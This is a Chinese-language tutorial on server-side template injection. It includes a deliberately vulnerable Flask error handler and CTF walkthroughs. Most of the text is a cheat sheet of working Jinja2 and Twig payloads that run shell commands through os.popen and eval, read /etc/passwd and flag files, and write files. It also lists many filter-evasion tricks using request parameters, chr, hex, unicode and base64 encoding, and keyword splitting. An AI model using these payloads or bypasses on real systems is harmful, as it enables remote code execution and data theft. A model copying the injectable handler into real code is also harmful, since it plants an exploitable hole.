SSTI漏洞详解

SSTI

SSTI(Server-Side Template Injection)是一种发生在服务器端模板中的漏洞。当应用程序接受用户输入并将其直接传递到模板引擎中进行解析时,如果未对用户输入进行充分的验证和过滤,攻击者可以通过构造恶意的输入来注入模板代码,导致服务器端模板引擎执行恶意代码。


常见的模板有很多,不同模板的语法也不相同,在实际情况我们可以测试判断属于哪一种模板。

Twig{{7*'7'}}结果49 
jinja2{{7*'7'}}结果为7777777  //jinja2的常见参数是name
smarty7{*comment*}7为77

下面将引用一个简单的例子来说明,假设有一个包含以下代码的Twig模板文件 template.twig

Hello, {{ name }}!

在后端PHP代码中,可能会这样使用Twig引擎来渲染模板:

$loader = new \Twig\Loader\FilesystemLoader('/path/to/templates');
$twig = new \Twig\Environment($loader);

$name = $_GET['name']; // 从用户输入获取name参数
echo $twig->render('template.twig', ['name' => $name]);
//正确的代码应该在后面两段加上过滤和验证

如果攻击者将name参数设置为恶意Twig模板代码,比如:

{{ 7 * 7 }}

那么最终生成的模板内容将是:

Hello, 49!

但是,如果攻击者将name参数设置为更危险的代码,比如:

{{ _self.env.registerUndefinedFilterCallback('exec') }}
{{ filter('ls -la') }}
{{system("cat /flag")}}

这将导致Twig引擎执行系统命令 ls -la,可能导致服务器远程命令执行漏洞,造成严重安全问题。


常见的模版

PHP
Twig、Smarty 、Blade

Python
Jinja2、Tornado、Django、MaKo

Java
FreeMarker、Velocity

更多模版参考


python案例说明

from flask import Flask    # Jinja2是Flask框架的一部分,Jinja2会把模板参数提供的相应的值替换成 {{…}} 块
from flask import request
from flask import config
from flask import render_template_string
app = Flask(__name__)

app.config['SECRET_KEY'] = "flag{SSTI_123456}"
@app.route('/')
def hello_world():
    return 'Hello World!'

@app.errorhandler(404)
def page_not_found(e):
    template = '''
{%% block body %%}
    <div class="center-content error">    # 这里是报错页面所显示的内容
        <h1>Oops! That page doesn't exist.</h1>
        <h3>%s</h3>    # %s接收404_url下的参数,返回到报错页面中
    </div> 
{%% endblock %%}
''' % (request.args.get('404_url'))
    return render_template_string(template), 404

if __name__ == '__main__':
    app.run(host='0.0.0.0',debug=True)

随便输入字符使得页面报错,并利用404_url来接收参数,发现存在注入


使用payload进行注入

使用__import__的os。
"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

常用的类和方法

__class__用来查看变量所属的类

__bases__用来查看类的基类,就是父类(或者__base__)

__mro__:显示类和基类

__subclasses__():查看当前类的子类

__getitem__:对数组字典的内容提取

__init__  : 初始化类,返回的类型是function

__globals__:查看全局变量,有哪些可用的函数方法等,然后再搜索popen,eval等

__builtins__:提供对Python的所有"内置"标识符的直接访问,即先加载内嵌函数再调用

__import__   : 动态加载类和函数,用于导入模块,经常用于导入os模块(例如__import__('os').popen('ls').read())

url_for :flask的方法,可以用于得到__builtins__

lipsum :flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}

config:当前application的所有配置。

popen():执行一个 shell 以运行命令来开启一个进程

request.args.key:获取get传入的key的值

模糊测试

class
bases
mro
subclasses
getitem
init
globals
builtins
import
url_for
lipsum
config
popen
request
''
""
[]
()
.
+
_
 
0
1
2
3
4
5
6
7
8
9
$
%

SSTI漏洞利用基本流程

获取当前类 -> 获取其object基类 -> 获取所有子类 -> 获取可执行shell命令的子类 -> 获取可执行shell命令的方法 -> 执行shell命令

常用payload

无过滤情况

1、直接使用system、cat等命令进行远程代码执行

2、使用

\#**简单查找具体python类的索引:**
import os
print(''.__class__.__bases__[0].__subclasses__().index(os._wrap_close))


\#读取config
如果flag写入config内,那么可以直接{{config}}查看或者{{self.dict._TemplateReference__context.config}}

\#读取文件类,<type ‘file’> file位置一般为40,直接调用
{{[].__class__.__base__.__subclasses__()[40]('flag').read()}} 
{{[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').read()}}
{{[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').readlines()}}
{{[].__class__.__base__.__subclasses__()[257]('flag').read()}} (python3)

\#直接使用popen命令,python2是非法的,只限于python3
!!!!!!!!
**os._wrap_close** 类里有popen和builtins,一般位置为132~139附近
<class ‘site._Printer’> 调用os的popen执行命令
<class ‘warnings.catch_warnings’>一般位置为59,可以用它来调用file、os、eval、commands等


{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.popen('whoami').read()}}


\#调用os的popen执行命令
\#python2、python3通用
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls /flag').read()}}
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('cat /flag').read()}}
{{''.__class__.__base__.__subclasses__()[185].__init__.__globals__['__builtins__']['__import__']('os').popen('cat /flag').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['os'].popen('whoami').read()}}
\#python3专属
{{"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}}
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['os'].popen('ls /').read()}}


\#调用eval函数读取
\#python2
{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}} 
{{"".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')}}
{{"".__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')}}
{{"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval,'os.system("ls")')}}
\#python3
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}} 
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.values()[13]['eval']}}
{{"".__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")}}
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}


\#调用 importlib类
{{''.__class__.__base__.__subclasses__()[128]["load_module"]("os")["popen"]("ls /").read()}}


\#调用linecache函数
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['linecache']['os'].popen('ls /').read()}}
{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache']['os'].popen('ls').read()}}
{{[].__class__.__base__.__subclasses__()[168].__init__.__globals__.linecache.os.popen('ls /').read()}}


\#调用communicate()函数
{{''.__class__.__base__.__subclasses__()[128]('whoami',shell=True,stdout=-1).communicate()[0].strip()}}


\#写文件
写文件的话就直接把上面的构造里的read()换成write()即可,下面举例利用file类将数据写入文件。
{{"".__class__.__bases__[0].__bases__[0].__subclasses__()[40]('/tmp').write('test')}}  ----python2的str类型不直接从属于基类,所以payload中含有两个 .__bases__
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').write('123456')}}


\#通用 getshell
原理:找到含有 __builtins__ 的类,利用即可。
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}

参考文章:https://blog.csdn.net/2301_77485708/article/details/132467976

有过滤情况

绕过[]

1、使用__getitem__绕过
{{().__class__.__bases__[0]}}
可替换为
{{().__class__.__bases__.__getitem__(0)}}

{%%}绕过过滤{{}}

尝试{%%},想回显内容在外面加个print就行,

{%print("".__class__)%}

绕过.

1.使用中括号[]绕过

{{().__class__}} 
可替换为:
{{()["__class__"]}}

举例:
{{()['__class__']['__base__']['__subclasses__']()[433]['__init__']['__globals__']['popen']('whoami')['read']()}}

2.使用attr()绕过

attr()函数是Python内置函数之一,用于获取对象的属性值或设置属性值。它可以用于任何具有属性的对象,例如类实例、模块、函数等。

{{().__class__}} 
可替换为:
{{()|attr("__class__")}}
{{getattr('',"__class__")}}

举例:
{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(65)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("whoami").read()')}}

request方法绕过:

如果对我们特定的参数进行了严格的过滤,我们就可以使用request来进行绕过,request可以获得请求的相关信息,我们拿过滤__class__,可以用request.args.key且以GET方式提交key=class__来替换被过滤的__class

request.args.key  #获取get传入的key的值

request.form.key  #获取post传入参数(Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)

reguest.values.key  #获取所有参数,如果get和post有同一个参数,post的参数会覆盖get

request.cookies.key  #获取cookies传入参数

request.headers.key  #获取请求头请求参数

request.data  #获取post传入参数(Content-Type:a/b)

request.json  #获取post传入json参数 (Content-Type: application/json)

绕过单双引号

1.request绕过

{{().__class__.__bases__[0].__subclasses__()[213].__init__.__globals__.__builtins__[request.args.arg1](request.args.arg2).read()}}&arg1=open&arg2=/etc/passwd    
\#分析:
request.args 是flask中的一个属性,为返回请求的参数,这里把path当作变量名,将后面的路径传值进来,进而绕过了引号的过滤。
若args被过滤了,还可以使用values来接受GET或者POST参数。

其它例子:
{{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.cookies.arg1](request.cookies.arg2).read()}}
Cookie:arg1=open;arg2=/etc/passwd

{{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.values.arg1](request.values.arg2).read()}}
post:arg1=open&arg2=/etc/passwd

2.chr绕过

{% set chr=().__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.chr%}{{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.__import__(chr(111)%2Bchr(115)).popen(chr(119)%2Bchr(104)%2Bchr(111)%2Bchr(97)%2Bchr(109)%2Bchr(105)).read()}}

注意:使用GET请求时,+号需要url编码,否则会被当作空格处理。

绕过关键字

1.使用切片将逆置的关键字顺序输出,进而达到绕过。

""["__cla""ss__"]
"".__getattribute__("__cla""ss__")
反转
""["__ssalc__"][::-1]
"".__getattribute__("__ssalc__"[::-1])

2.利用"+"进行字符串拼接,绕过关键字过滤。

{{()['__cla'+'ss__'].__bases__[0].__subclasses__()[40].__init__.__globals__['__builtins__']['ev'+'al']("__im"+"port__('o'+'s').po""pen('whoami').read()")}}

3.join拼接

利用join()函数绕过关键字过滤

{{[].__class__.__base__.__subclasses__()[40]("fla".join("/g")).read()}}

4.利用引号绕过

{{[].__class__.__base__.__subclasses__()[40]("/fl""ag").read()}}

5.使用str原生函数replace替换

将额外的字符拼接进原本的关键字里面,然后利用replace函数将其替换为空。

{{().__getattribute__('__claAss__'.replace("A","")).__bases__[0].__subclasses__()[376].__init__.__globals__['popen']('whoami').read()}}

6.ascii转换

将每一个字符都转换为ascii值后再拼接在一起。

"{0:c}".format(97)='a'
"{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)='__class__'

7.16进制编码绕过

"__class__"=="\x5f\x5fclass\x5f\x5f"=="\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"

例子:
{{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__['__builtins__']['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f']('os').popen('whoami').read()}}
\
同理,也可使用八进制编码绕过

base64编码绕过

对于python2,可利用base64进行绕过,对于python3没有decode方法,不能使用该方法进行绕过。

"__class__"==("X19jbGFzc19f").decode("base64")

例子:
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['X19idWlsdGluc19f'.decode('base64')]['ZXZhbA=='.decode('base64')]('X19pbXBvcnRfXygib3MiKS5wb3BlbigibHMgLyIpLnJlYWQoKQ=='.decode('base64'))}}  
等价于  
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

unicode编码绕过

{%print((((lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f"))|attr("\u0067\u0065\u0074")("os"))|attr("\u0070\u006f\u0070\u0065\u006e")("\u0074\u0061\u0063\u0020\u002f\u0066\u002a"))|attr("\u0072\u0065\u0061\u0064")())%}
等同于lipsum.__globals__['os'].popen('tac /f*').read()

Hex编码绕过

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x65\x76\x61\x6c']('__import__("os").popen("ls /").read()')}}

{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['\x6f\x73'].popen('\x6c\x73\x20\x2f').read()}}   
等价于   
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}

绕过init

可以用__enter__或__exit__替代__init__

{().__class__.__bases__[0].__subclasses__()[213].__enter__.__globals__['__builtins__']['open']('/etc/passwd').read()}}
 
{{().__class__.__bases__[0].__subclasses__()[213].__exit__.__globals__['__builtins__']['open']('/etc/passwd').read()}}

参考文章:https://blog.csdn.net/2301_77485708/article/details/132467976

CTF例题

BUUCTF—shrine1

1、这里看到flask框架及渲染,猜测是ssti注入


2、在shrine路径下输入{{7*7}}验证


3、由于safe_jinja函数对输入的参数进行了过滤,不能直接使用{{config}},但这里可以使用python内置函数url_forget_flashed_messages


4、爆出current_app,由于flag存在app.config里
所以输入url_for.globals.current_app.config[‘FLAG’],得到flag


攻防世界—Web_python_template_injection

1、打开网站有提示是python模板注入,随便输入字符使网站出错,发现有SSTI注入



2、输入{{().__class__.__base__.__subclasses__()}}获取所有类


3、读取文件类,<type ‘file’> file位置一般为40,
输入{{().__class__.__base__.__subclasses__()[40]('fl4g').read()}}获取flag



所以在开发Web应用程序时,始终要警惕并避免直接使用用户输入构造动态内容,尤其是在模板渲染过程中。对用户输入进行严格的验证和过滤,以及遵循最佳的安全实践,是保护系统免受SSTI等安全威胁的关键。

[HDCTF 2023]SearchMaster

1、打开网站就看到提示:post一个data到网站

2、使用burpsuite抓包,post数据:7*7,得到回显49,于是得知存在ssti注入
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

3、直接输入{{system("ls /")}},得到flag的所在

4、输入{{system("cat+/flag_13_searchmaster")}},获取flag


[GDOUCTF 2023]<ez_ze>

更详细的绕过方法可以看https://blog.csdn.net/weixin_52635170/article/details/129856818

1、首先判断有无ssti漏洞,我们在输入框中输入{{print 123}},发现无法执行,输入{%print 123%}是可以输出123的,说明存在ssti注入。

2、经测试,本题还禁用了_ { " . \ request pop os popen等,所以我们的payload需要绕过一些关键词和符号,设置为:
lipsum.__globals__.getitem[os].popen(cat /flag).read()

3、所以我们需要通过lipsum|string|list获取_

获取_先需要获取pop:
pop方法可以根据索引值来删除列中的某个元素并将该元素返回值返回。
{%set pop=dict(pop=a)|join%}

4、然后我们输入

{%set pop=dict(pop=a)|join%}
{%set underline=(lipsum|string|list)%}{%print underline%}

回显:

5、根据页面回显可以看到索引18和索引24都有下划线,我们将他设置为18即可得到下划线_,代码如下:

{%set pop=dict(pop=a)|join%}
{%set underline=(lipsum|string|list)|attr(pop)(18)%}

6、由上图还知空格的索引是9,所以我们使用{%set pop=dict(pop=a)|join%}{%set space=(lipsum|string|list)|attr(pop)(9)%}来表示空格,__globals__用以下代码表示:

{%set pop=dict(pop=a)|join%}
{%set underline=(lipsum|string|list)|attr(pop)(18)%}
{%set globals=(underline,underline,dict(globals=a)|join,underline,underline)|join%}
{%print globals%}   //构造payload可以不要这一句,因为这里只是打印出globals确认无误

7、接着获取os,在获取os之前,需要获取get:
{%set get=dict(get=a)|join%}{%print get%}

获取os:

{%set get=dict(get=a)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%print shell%}

获取popen:

{%set get=dict(get=a)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%set pope=dict(pop=a,en=b)|join%}
{%print pope%}

8、我们要构造cat /flag,首先要找到/

{% set pop=dict(pop=1)|join %} 
{% set Backslashes=(config|string|list)|attr(pop)(239) %}
{%print Backslashes%}

所以cat /flag等于

{%set pop=dict(pop=a)|join%}
{%set space=(lipsum|string|list)|attr(pop)(9)%}
{% set Backslashes=(config|string|list)|attr(pop)(239) %}
{% set cmd=(dict(cat=a)|join,space,Backslashes,dict(flag=a)|join)|join %}
{%print cmd%}

9、最后要获取的是read:{%set read=dict(read=a)|join%}{%print read%}

10、构造最终payload:

{%set pop=dict(pop=a)|join%}
{%set underline=(lipsum|string|list)|attr(pop)(18)%}
{%set space=(lipsum|string|list)|attr(pop)(9)%}
{%set globals=(underline,underline,dict(globals=a)|join,underline,underline)|join%}
{%set get=dict(get=a)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%set pope=dict(pop=a,en=b)|join%}
{% set Backslashes=(config|string|list)|attr(pop)(239) %}
{% set cmd=(dict(cat=a)|join,space,Backslashes,dict(flag=a)|join)|join %}
{%set read=dict(read=a)|join%}

{% print(lipsum|attr(globals)|attr(get)(shell)|attr(pope)(cmd)|attr(read)()) %}

输入到框中即可回显flag:


方法二:使用fenjing一把梭
1、输入命令python -m fenjing scan --url xxxxxxx直接进行爆破

2、输入cat /flag


攻防世界—Confusion1

1、打开网站,点开blue-whale.me,观察不出什么有用的信息

2、任意点击登录和注册页面,查看源代码可以发现有两个提示

3、但是到这里就没有其他提示了,尝试ssti注入,在login页面输入{{7*'7'}}回显7777777,得知这里是jinja2模板

4、抓包进行模糊测试,发现很多类都被过滤了,于是尝试{{url_for.__globals__}},但是回显DO NOT JIAOSHI.You can not use it!

5、尝试使用request来进行绕过,输入{{''[request.args.key]}}?key=__class__,发现是可以正常回显的,那么我们继续使用request进行构造payload

6、输入{{''[request.args.key][request.args.key2][2][request.args.key3]()}}?key=__class__&key2=__mro__&key3=__subclasses__寻找类的函数,在索引40处找到file函数

7、得到最终payload:

{{''[request.args.key][request.args.key2][2][request.args.key3]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.key4]()}}?key=__class__&key2=__mro__&key3=__subclasses__&key4=read

  • 22
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值